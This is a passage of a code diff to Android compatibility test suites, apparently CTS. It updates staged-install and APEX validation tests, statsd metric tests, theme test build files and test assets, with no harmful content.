         return new StageSessionResult(
                 multiPackageSessionId, LocalIntentSender.getIntentSenderResult());
     }
@@ -764,20 +755,10 @@
         }
     }
 
-    private static void installNonStaged(String apkFileName) throws Exception {
-        PackageInstaller packageInstaller = getPackageInstaller();
-        PackageInstaller.SessionParams sessionParams = new PackageInstaller.SessionParams(
-                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
-        int sessionId = packageInstaller.createSession(sessionParams);
-        PackageInstaller.Session session = packageInstaller.openSession(sessionId);
-        writeApk(session, apkFileName);
-        session.commit(LocalIntentSender.getIntentSender());
-        assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
-    }
-
-    private static void writeApk(PackageInstaller.Session session, String apkFileName)
+    private static void writeApk(PackageInstaller.Session session, String apkFileName,
+            String outputFileName)
             throws Exception {
-        try (OutputStream packageInSession = session.openWrite(apkFileName, 0, -1);
+        try (OutputStream packageInSession = session.openWrite(outputFileName, 0, -1);
              InputStream is =
                      StagedInstallTest.class.getClassLoader().getResourceAsStream(apkFileName)) {
             byte[] buffer = new byte[4096];
@@ -845,19 +826,6 @@
         return getPackageInstaller().getSessionInfo(sessionId);
     }
 
-    private static void uninstall(String packageName) throws Exception {
-        // No need to uninstall if the package isn't installed.
-        if (getInstalledVersion(packageName) == -1) {
-            return;
-        }
-
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        PackageManager packageManager = context.getPackageManager();
-        PackageInstaller packageInstaller = packageManager.getPackageInstaller();
-        packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
-        assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
-    }
-
     private static void assertStatusSuccess(Intent result) {
         int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
                 PackageInstaller.STATUS_FAILURE);
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
index 9182ee9..094fd8d 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/ApexShimValidationTest.java
@@ -21,6 +21,8 @@
 
 import static org.junit.Assume.assumeThat;
 
+import android.platform.test.annotations.LargeTest;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
@@ -87,6 +89,7 @@
     }
 
     @Test
+    @LargeTest
     public void testRejectsApexWithAdditionalFile() throws Exception {
         runPhase("testRejectsApexWithAdditionalFile_Commit");
         getDevice().reboot();
@@ -94,6 +97,7 @@
     }
 
     @Test
+    @LargeTest
     public void testRejectsApexWithAdditionalFolder() throws Exception {
         runPhase("testRejectsApexWithAdditionalFolder_Commit");
         getDevice().reboot();
@@ -101,6 +105,7 @@
     }
 
     @Test
+    @LargeTest
     public void testRejectsApexWithPostInstallHook() throws Exception {
         runPhase("testRejectsApexWithPostInstallHook_Commit");
         getDevice().reboot();
@@ -108,6 +113,7 @@
     }
 
     @Test
+    @LargeTest
     public void testRejectsApexWithPreInstallHook() throws Exception {
         runPhase("testRejectsApexWithPreInstallHook_Commit");
         getDevice().reboot();
@@ -115,6 +121,7 @@
     }
 
     @Test
+    @LargeTest
     public void testRejectsApexWrongSHA() throws Exception {
         runPhase("testRejectsApexWrongSHA_Commit");
         getDevice().reboot();
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index fc72f3a..6bb1d6f 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -25,6 +25,8 @@
 import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
+import android.platform.test.annotations.LargeTest;
+
 import com.android.ddmlib.Log;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
@@ -77,6 +79,7 @@
      * Tests staged install involving only one apk.
      */
     @Test
+    @LargeTest
     public void testInstallStagedApk() throws Exception {
         assumeSystemUser();
         runPhase("testInstallStagedApk_Commit");
@@ -111,6 +114,7 @@
     }
 
     @Test
+    @LargeTest
     public void testAbandonStagedApkBeforeReboot() throws Exception {
         runPhase("testAbandonStagedApkBeforeReboot_CommitAndAbandon");
         getDevice().reboot();
@@ -118,6 +122,7 @@
     }
 
     @Test
+    @LargeTest
     public void testInstallMultipleStagedApks() throws Exception {
         assumeSystemUser();
         runPhase("testInstallMultipleStagedApks_Commit");
@@ -152,6 +157,7 @@
     }
 
     @Test
+    @LargeTest
     public void testStagedInstallDowngrade_DowngradeRequested_DebugBuild() throws Exception {
         assumeThat(getDevice().getBuildFlavor(), not(endsWith("-user")));
 
@@ -175,6 +181,7 @@
     }
 
     @Test
+    @LargeTest
     public void testInstallStagedApex() throws Exception {
         assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
 
@@ -207,6 +214,7 @@
     }
 
     @Test
+    @LargeTest
     public void testStageApkWithSameNameAsApexShouldFail() throws Exception {
         assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
 
@@ -222,6 +230,7 @@
     }
 
     @Test
+    @LargeTest
     public void testStagedInstallDowngradeApex_DowngradeNotRequested_Fails() throws Exception {
         assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
 
@@ -232,6 +241,7 @@
     }
 
     @Test
+    @LargeTest
     public void testStagedInstallDowngradeApex_DowngradeRequested_DebugBuild() throws Exception {
         assumeThat(getDevice().getBuildFlavor(), not(endsWith("-user")));
         assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
@@ -243,6 +253,7 @@
     }
 
     @Test
+    @LargeTest
     public void testStagedInstallDowngradeApex_DowngradeRequested_UserBuild_Fails()
             throws Exception {
         assumeThat(getDevice().getBuildFlavor(), endsWith("-user"));
@@ -256,6 +267,7 @@
     }
 
     @Test
+    @LargeTest
     public void testInstallStagedApex_SameGrade() throws Exception {
         assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
 
@@ -293,6 +305,16 @@
         runPhase("testStagedApkSessionCallbacks");
     }
 
+    @Test
+    @LargeTest
+    public void testInstallStagedApexWithoutApexSuffix() throws Exception {
+        assumeTrue("Device does not support updating APEX", isUpdatingApexSupported());
+
+        runPhase("testInstallStagedApexWithoutApexSuffix_Commit");
+        getDevice().reboot();
+        runPhase("testInstallStagedApexWithoutApexSuffix_VerifyPostReboot");
+    }
+
     /**
      * Uninstalls a shim apex only if it's latest version is installed on /data partition (i.e.
      * it has a version higher than {@code 1}).
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v1.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v1.apex
new file mode 100644
index 0000000..e3bdbdd
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v1.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2.apex
index 9dc33de..5f05659 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_file.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_file.apex
index 0ba9d99..680dfb2 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_file.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_file.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_folder.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_folder.apex
index 1d3fcf5..6103b50 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_folder.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_additional_folder.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_different_certificate.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_different_certificate.apex
new file mode 100644
index 0000000..cf0e800
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_different_certificate.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob.apex
new file mode 100644
index 0000000..0af717c
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot.apex
new file mode 100644
index 0000000..d3f7014
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
new file mode 100644
index 0000000..05f1cbb
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_post_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_post_install_hook.apex
index c32b139..37acf43 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_post_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_post_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_pre_install_hook.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
index 6a0fb0d..c82c1e0 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_with_pre_install_hook.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_wrong_sha.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_wrong_sha.apex
index 2388490..d9905a8 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_wrong_sha.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v2_wrong_sha.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3.apex
index 57ab7b9..dfb6757 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3_signed_bob.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3_signed_bob.apex
new file mode 100644
index 0000000..ca32c0d
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3_signed_bob.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3_signed_bob_rot.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3_signed_bob_rot.apex
new file mode 100644
index 0000000..befa6b2
--- /dev/null
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim.v3_signed_bob_rot.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim_not_pre_installed.apex b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim_not_pre_installed.apex
index 45715a2..6e5b1c6 100644
--- a/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim_not_pre_installed.apex
+++ b/hostsidetests/stagedinstall/testdata/apex/com.android.apex.cts.shim_not_pre_installed.apex
Binary files differ
diff --git a/hostsidetests/stagedinstall/testdata/apk/Av1.xml b/hostsidetests/stagedinstall/testdata/apk/Av1.xml
deleted file mode 100644
index 234448c..0000000
--- a/hostsidetests/stagedinstall/testdata/apk/Av1.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.stagedinstall.testapp.A"
-          android:versionCode="1"
-          android:versionName="1.0" >
-
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="StagedInstall Test App A v1">
-        <activity android:name="com.android.tests.stagedinstall.testapp.MainActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/hostsidetests/stagedinstall/testdata/apk/Av2.xml b/hostsidetests/stagedinstall/testdata/apk/Av2.xml
deleted file mode 100644
index dd5e512..0000000
--- a/hostsidetests/stagedinstall/testdata/apk/Av2.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<!--
-  ~ Copyright (C) 2019 The Android Open Source Project
-  ~
-  ~ Licensed under the Apache License, Version 2.0 (the "License");
-  ~ you may not use this file except in compliance with the License.
-  ~ You may obtain a copy of the License at
-  ~
-  ~      http://www.apache.org/licenses/LICENSE-2.0
-  ~
-  ~ Unless required by applicable law or agreed to in writing, software
-  ~ distributed under the License is distributed on an "AS IS" BASIS,
-  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  ~ See the License for the specific language governing permissions and
-  ~ limitations under the License
-  -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="com.android.tests.stagedinstall.testapp.A"
-          android:versionCode="2"
-          android:versionName="2.0" >
-
-
-    <uses-sdk android:minSdkVersion="19" />
-
-    <application android:label="StagedInstall Test App A v2">
-        <activity android:name="com.android.tests.stagedinstall.testapp.MainActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-</manifest>
diff --git a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
index 3109138..3b81a0b 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/alert/AnomalyDetectionTests.java
@@ -69,6 +69,23 @@
         }
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        if (PERFETTO_TESTS_ENABLED) {
+            //Deadline to finish trace collection
+            final long deadLine = System.currentTimeMillis() + 10000;
+            while (isSystemTracingEnabled()) {
+                if (System.currentTimeMillis() > deadLine) {
+                    CLog.w("/sys/kernel/debug/tracing/tracing_on is still 1 after 10 secs : " + isSystemTracingEnabled());
+                    break;
+                }
+                CLog.d("Waiting to finish collecting traces. ");
+                Thread.sleep(WAIT_TIME_SHORT);
+            }
+        }
+    }
+
     // Tests that anomaly detection for count works.
     // Also tests that anomaly detection works when spanning multiple buckets.
     public void testCountAnomalyDetection() throws Exception {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
index f38bf33..5b5711c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/AtomTestCase.java
@@ -66,6 +66,7 @@
 import java.util.List;
 import java.util.Set;
 import java.util.function.Function;
+import java.util.stream.Collectors;
 
 /**
  * Base class for testing Statsd atoms.
@@ -239,6 +240,16 @@
     }
 
     /**
+     *  Gets a List of sorted ConfigMetricsReports from ConfigMetricsReportList.
+     */
+    protected List<ConfigMetricsReport> getSortedConfigMetricsReports(
+            ConfigMetricsReportList configMetricsReportList) {
+        return configMetricsReportList.getReportsList().stream()
+                .sorted(Comparator.comparing(ConfigMetricsReport::getCurrentReportWallClockNanos))
+                .collect(Collectors.toList());
+    }
+
+    /**
      * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
      * contain a single report).
      */
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
index cb66496..446d90f 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/atom/UidAtomTests.java
@@ -17,7 +17,6 @@
 
 import android.net.wifi.WifiModeEnum;
 import android.os.WakeLockLevelEnum;
-import android.platform.test.annotations.RestrictedBuildTest;
 import android.server.ErrorSource;
 
 import com.android.internal.os.StatsdConfigProto.FieldMatcher;
@@ -33,7 +32,6 @@
 import com.android.os.AtomsProto.BleScanResultReceived;
 import com.android.os.AtomsProto.BleScanStateChanged;
 import com.android.os.AtomsProto.CameraStateChanged;
-import com.android.os.AtomsProto.CpuActiveTime;
 import com.android.os.AtomsProto.DangerousPermissionState;
 import com.android.os.AtomsProto.DeviceCalculatedPowerBlameUid;
 import com.android.os.AtomsProto.FlashlightStateChanged;
@@ -368,42 +366,6 @@
         assertTrue("found uid " + uid, found);
     }
 
-    @RestrictedBuildTest
-    public void testCpuActiveTime() throws Exception {
-        if (statsdDisabled()) {
-            return;
-        }
-        if (!hasFeature(FEATURE_WATCH, false)) return;
-        StatsdConfig.Builder config = getPulledConfig();
-        FieldMatcher.Builder dimension = FieldMatcher.newBuilder()
-                .setField(Atom.CPU_ACTIVE_TIME_FIELD_NUMBER)
-                .addChild(FieldMatcher.newBuilder()
-                        .setField(CpuActiveTime.UID_FIELD_NUMBER));
-        addGaugeAtomWithDimensions(config, Atom.CPU_ACTIVE_TIME_FIELD_NUMBER, dimension);
-
-        uploadConfig(config);
-
-        Thread.sleep(WAIT_TIME_LONG);
-        runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
-        Thread.sleep(WAIT_TIME_SHORT);
-        setAppBreadcrumbPredicate();
-        Thread.sleep(WAIT_TIME_LONG);
-
-        List<Atom> atomList = getGaugeMetricDataList();
-
-        boolean found = false;
-        int uid = getUid();
-        long timeSpent = 0;
-        for (Atom atom : atomList) {
-            if (atom.getCpuActiveTime().getUid() == uid) {
-                found = true;
-                timeSpent += atom.getCpuActiveTime().getTimeMillis();
-            }
-        }
-        assertTrue(timeSpent > 0);
-        assertTrue("found uid " + uid, found);
-    }
-
     public void testDeviceCalculatedPowerUse() throws Exception {
         if (statsdDisabled()) {
             return;
@@ -1182,6 +1144,8 @@
         // Start test app and trigger a pull while its running.
         try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
                 "action.show_notification")) {
+            Thread.sleep(WAIT_TIME_SHORT);
+            // Trigger a pull and wait for new pull before killing the process.
             setAppBreadcrumbPredicate();
             Thread.sleep(WAIT_TIME_LONG);
         }
@@ -1329,7 +1293,7 @@
             Thread.sleep(WAIT_TIME_SHORT);
             getDevice().executeShellCommand(
                     "am broadcast -a action_anr -p " + DEVICE_SIDE_TEST_PACKAGE);
-            Thread.sleep(11_000);
+            Thread.sleep(20_000);
         }
 
         // Sorted list of events in order in which they occurred.
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
index fc069b1..803dd2e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
@@ -32,6 +32,8 @@
 import com.android.os.StatsLog.StatsLogReport;
 import com.android.tradefed.log.LogUtil;
 
+import java.util.List;
+
 /**
  * Test Statsd Metric activations and deactivations
  */
@@ -226,8 +228,8 @@
         Thread.sleep(10L);
 
         ConfigMetricsReportList reportList = getReportList();
-        assertEquals(1, reportList.getReportsCount());
-        ConfigMetricsReport report = reportList.getReports(0);
+        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+        ConfigMetricsReport report = reports.get(0);
         verifyMetrics(report, 4, 0, 1);
     }
 
@@ -371,18 +373,19 @@
         logAllMetrics();
 
         ConfigMetricsReportList reportList = getReportList();
-        assertEquals(3, reportList.getReportsCount());
+        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+        assertEquals(3, reports.size());
 
         // Report before restart.
-        ConfigMetricsReport report = reportList.getReports(0);
+        ConfigMetricsReport report = reports.get(0);
         verifyMetrics(report, 1, 0, 1);
 
         // Report after first restart.
-        report = reportList.getReports(1);
+        report = reports.get(1);
         verifyMetrics(report, 2, 3, 4);
 
         // Report after second restart.
-        report = reportList.getReports(2);
+        report = reports.get(2);
         verifyMetrics(report, 2, 2, 3);
     }
 
@@ -506,18 +509,19 @@
         logAllMetrics();
 
         ConfigMetricsReportList reportList = getReportList();
-        assertEquals(3, reportList.getReportsCount());
+        List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
+        assertEquals(3, reports.size());
 
         // Report before restart.
-        ConfigMetricsReport report = reportList.getReports(0);
+        ConfigMetricsReport report = reports.get(0);
         verifyMetrics(report, 3, 0, 3);
 
         // Report after first restart.
-        report = reportList.getReports(1);
+        report = reports.get(1);
         verifyMetrics(report, 2, 2, 3);
 
         // Report after second restart.
-        report = reportList.getReports(2);
+        report = reports.get(2);
         verifyMetrics(report, 0, 0, 1);
     }
 
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
index 7b95933..6369470 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
@@ -53,9 +53,11 @@
         plugInUsb();
     }
 
+    /*
     public void testConnectivityStateChange() throws Exception {
         if (!hasFeature(FEATURE_WIFI, true)) return;
         if (!hasFeature(FEATURE_WATCH, false)) return;
+        if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
         final String fileName = "BATTERYSTATS_CONNECTIVITY_STATE_CHANGE_COUNT.pbtxt";
         StatsdConfig config = createValidationUtil().getConfig(fileName);
         LogUtil.CLog.d("Updating the following config:\n" + config.toString());
@@ -76,6 +78,7 @@
         assertEquals(batterystatsProto.getSystem().getMisc().getNumConnectivityChanges(),
                 countMetricData.get(0).getBucketInfo(0).getCount());
     }
+    */
 
     public void testPowerUse() throws Exception {
         if (statsdDisabled()) {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
index 6c5de5a..ae40111 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
@@ -131,10 +131,9 @@
 
         assertNotNull(wl);
         assertTrue(wl.getDurationMs() > 0);
-        assertTrue(wl.getCount() == 1);
-        assertTrue(wl.getMaxDurationMs() >= 500);
+        assertTrue(wl.getMaxDurationMs() >= 400);
         assertTrue(wl.getMaxDurationMs() < 700);
-        assertTrue(wl.getTotalDurationMs() >= 500);
+        assertTrue(wl.getTotalDurationMs() >= 400);
         assertTrue(wl.getTotalDurationMs() < 700);
 
         setAodState(aodState); // restores AOD to initial state.
diff --git a/hostsidetests/sustainedperf/AndroidTest.xml b/hostsidetests/sustainedperf/AndroidTest.xml
index 2377fa4..b877fb5 100644
--- a/hostsidetests/sustainedperf/AndroidTest.xml
+++ b/hostsidetests/sustainedperf/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="systems" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSustainedPerformanceTestCases.apk" />
diff --git a/hostsidetests/theme/Android.mk b/hostsidetests/theme/Android.mk
index e2b6f70..19d5033 100644
--- a/hostsidetests/theme/Android.mk
+++ b/hostsidetests/theme/Android.mk
@@ -18,6 +18,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
+# TODO: the following hinders conversion of this makefile to a blueprint.
 # Special handling for pre-release builds where the SDK version has not been
 # updated, in which case we'll use the version codename (ex. "O").
 ifeq (REL,$(PLATFORM_VERSION_CODENAME))
@@ -42,4 +43,3 @@
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/theme/app/Android.bp b/hostsidetests/theme/app/Android.bp
new file mode 100644
index 0000000..5ad776d
--- /dev/null
+++ b/hostsidetests/theme/app/Android.bp
@@ -0,0 +1,29 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsThemeDeviceApp",
+    defaults: ["cts_support_defaults"],
+    static_libs: ["androidx.test.rules"],
+    srcs: ["src/**/*.java"],
+    // Tell the Android Asset Packaging Tool not to strip for some densities
+    aapt_include_all_resources: true,
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/theme/app/Android.mk b/hostsidetests/theme/app/Android.mk
deleted file mode 100644
index 20ddc75..0000000
--- a/hostsidetests/theme/app/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := optional
-
-# When built, explicitly put it in the data partition.
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-# and because it is in data, do not strip classes.dex
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-  androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-#Flag to tell the Android Asset Packaging Tool not to strip for some densities
-LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
-
-LOCAL_PACKAGE_NAME := CtsThemeDeviceApp
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/theme/assets/29/450dpi.zip b/hostsidetests/theme/assets/29/450dpi.zip
new file mode 100755
index 0000000..e346378
--- /dev/null
+++ b/hostsidetests/theme/assets/29/450dpi.zip
Binary files differ
diff --git a/hostsidetests/theme/generate_images.py b/hostsidetests/theme/generate_images.py
index b05d5f0..4c812b2 100755
--- a/hostsidetests/theme/generate_images.py
+++ b/hostsidetests/theme/generate_images.py
@@ -46,6 +46,7 @@
     400: "400dpi",
     420: "420dpi",
     440: "440dpi",
+    450: "450dpi",
     480: "xxhdpi",
     560: "560dpi",
     640: "xxxhdpi",
diff --git a/hostsidetests/usb/AndroidTest.xml b/hostsidetests/usb/AndroidTest.xml
index c6105de..14f6b95 100644
--- a/hostsidetests/usb/AndroidTest.xml
